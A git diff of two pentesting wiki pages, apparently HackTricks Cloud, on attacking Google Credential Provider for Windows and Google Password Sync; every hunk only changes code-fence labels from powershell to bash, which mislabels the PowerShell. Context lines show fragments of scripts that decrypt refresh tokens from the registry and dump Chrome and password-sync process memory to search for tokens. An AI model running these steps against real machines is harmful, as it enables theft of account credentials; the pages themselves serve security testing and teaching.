diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
index 3f1281bae..7f60e5c61 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
@@ -43,7 +43,7 @@ Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Pu
It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:
-```powershell
+```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -116,7 +116,7 @@ Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to
Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens
-```powershell
+```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -198,7 +198,7 @@ The following script can be used to **dump** every **Chrome** process using `pro
Dump Chrome processes and search tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
index 84fbf706c..6ed46675e 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
@@ -53,7 +53,7 @@ I guess you could also find the AD configured credentials.
Dump PasswordSync.exe and the password_sync_service.exe processes and search tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"